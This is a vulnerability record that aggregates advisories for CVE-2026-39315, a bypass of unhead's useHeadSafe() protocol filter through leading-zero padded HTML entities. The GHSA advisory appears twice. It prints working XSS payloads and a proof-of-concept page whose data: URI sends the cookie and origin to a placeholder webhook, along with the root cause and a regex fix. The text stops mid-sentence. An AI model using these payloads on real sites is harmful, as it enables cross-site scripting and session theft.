{"id":"CVE-2026-39315","aliases":["CLSA-2026-1789031967","CLSA-2026-1792160937","CLSA-2026-1792161538","CLSA-2026-1792161580","CLSA-2026-1792161645","CLSA-2026-1792162015","EUVD-2026-20992","GHSA-95h2-gj7x-gx9w"],"status":"published","title":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","description":"Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00296,"percentile":0.22505,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184"],"published":"2026-04-09T17:54:07Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"npm","package":"unhead","fixed_in":["2.1.13"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"unhead","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@unhead/dom","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@unhead/shared","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@unhead/ssr","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@unhead/vue","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@unhead/schema","fixed_in":["1.11.20-tuxcare.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"unhead","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.13"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"unhead","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@unhead/dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@unhead/shared","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@unhead/ssr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@unhead/vue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@unhead/schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.20-tuxcare.0"},{"fixed":"1.11.20-tuxcare.2"}]}],"versions":["1.11.20","1.11.20-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"unhead","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.13"}]}]}],"products":[{"vendor":"unjs","product":"unhead"}],"references":[{"url":"https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/unjs/unhead/releases/tag/v2.1.13","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39315","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-95h2-gj7x-gx9w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39315.json","tags":["advisory"]},{"url":"https://github.com/unjs/unhead","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39315","title":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","description":"Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.","status":"published","published":"2026-04-09T17:54:07.488Z","modified":"2026-04-13T15:38:52.507Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-20992","description":"Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.","status":"published","published":"2026-04-09T17:54:07Z","modified":"2026-04-13T15:38:52Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:27.958964Z"}],"ghsa":[{"id":"GHSA-95h2-gj7x-gx9w","title":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","description":"##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder — a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding — exceeds \\d{1,7} cap\n    { rel: 'stylesheet', href: 'java\u0026#0000000058;script:alert(1)' },\n\n    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap\n    { rel: 'icon', href: 'data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e' }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '\u003clink'\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically — browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n  const iframe = document.createElement('iframe');\n  iframe.src = link.href; // browser decodes \u0026#x000003A; → ':', constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass — full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading…\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\nimport { onMounted } from 'vue'\n\nonMounted(() =\u003e {\n  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'\n  const el = document.getElementById('cookie-display')\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector('link[rel=\"icon\"]')\n  if (link) {\n    const iframe = document.createElement('iframe')\n    iframe.src = link.href\n    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'\n\nuseHeadSafe({\n  link: [\n    {\n      rel: 'icon',\n      href: `data\u0026#x000003A;text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert('XSS via useHeadSafe padded entity bypass');\n          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({\n            finding: 'useHeadSafe hasDangerousProtocol bypass',\n            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN → ''`), so unbounded digit matching introduces no new\nattack surface — it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |","status":"published","published":"2026-04-09T20:28:05Z","modified":"2026-04-09T20:28:06Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:39:52.102227Z"}],"nvd":[{"id":"CVE-2026-39315","description":"Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.","status":"published","published":"2026-04-09T18:17:01.433Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:13.902911Z"}],"osv":[{"id":"CVE-2026-39315","title":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","description":"Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in \u003chead\u003e safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.","status":"published","published":"2026-04-09T17:54:07.488Z","modified":"2026-10-28T02:31:14.359907007Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"GHSA-95h2-gj7x-gx9w","title":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","description":"##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder — a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding — exceeds \\d{1,7} cap\n    { rel: 'stylesheet', href: 'java\u0026#0000000058;script:alert(1)' },\n\n    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap\n    { rel: 'icon', href: 'data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e' }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '\u003clink'\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically — browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n  const iframe = document.createElement('iframe');\n  iframe.src = link.href; // browser decodes \u0026#x000003A; → ':', constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass — full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading…\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\nimport { onMounted } from 'vue'\n\nonMounted(() =\u003e {\n  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'\n  const el = document.getElementById('cookie-display')\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector('link[rel=\"icon\"]')\n  if (link) {\n    const iframe = document.createElement('iframe')\n    iframe.src = link.href\n    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'\n\nuseHeadSafe({\n  link: [\n    {\n      rel: 'icon',\n      href: `data\u0026#x000003A;text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert('XSS via useHeadSafe padded entity bypass');\n          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({\n            finding: 'useHeadSafe hasDangerousProtocol bypass',\n            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, 